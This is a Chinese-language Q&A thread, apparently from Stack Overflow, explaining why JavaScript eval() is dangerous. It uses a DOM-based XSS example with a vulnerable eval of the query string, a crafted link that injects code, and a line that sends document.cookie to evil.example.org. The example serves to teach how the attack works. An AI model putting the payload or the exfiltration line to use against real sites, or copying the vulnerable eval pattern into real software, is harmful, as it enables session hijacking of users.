javascript eval() 和安全性

Jau*_*tis 4 javascript security eval

developer.mozilla.org 说:

不要不必要地使用 eval!eval() 是一个危险的函数,它以调用者的权限执行它传递的代码。

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。所以他可以把自己的功能执行等。

一般有没有“安全的javascript代码”之类的东西?

Sil*_*Fox 5

例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。所以他可以把自己的功能执行等。

是的,用户可以使用开发人员工具使用 JavaScript “攻击”他们自己的客户端会话。

但是,eval 和开发人员工具之间的区别在于 eval 可以在可共享链接中执行事物。攻击者可以向受害者发送一个利用代码评估功能的链接。

拿这个代码:

<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>
Run Code Online (Sandbox Code Playgroud)

现在,如果查询字符串是,?foo您只会收到一个警告对话框,说明以下内容:Your query string was ?foo

现在假设 Chuck 向 Bob 发送一封电子邮件,主题为“看看这个很棒的链接!”。

链接的构造如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中 www.example.com 是您的网站。

这会修改由eval()to执行的代码

alert("Your query string was hello");
alert(document.cookie+"");
Run Code Online (Sandbox Code Playgroud)

(为了清楚起见,我添加了新行)。这将显示一个警告框,显示所有非 httpOnly cookie。

将此带到下一阶段,攻击者可以构建一个图像链接,将会话 cookie 发送给自己

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)
Run Code Online (Sandbox Code Playgroud)

这称为跨站点脚本 (XSS)攻击。实际上,该类型是基于 DOM 的 XSS,具体来说。

一般有没有“安全的javascript代码”之类的东西?

是的,能够抵御 XSS 的代码可以被视为“安全的 JavaScript 代码”——它保护当前用户免受跨域攻击。但是,“信任”当前最终用户不会使用开发人员工具修改 JavaScript 代码或变量以使其对自己有利的服务器端代码并​​不安全。

因此,安全的 JavaScript 代码是只保护当前用户的代码。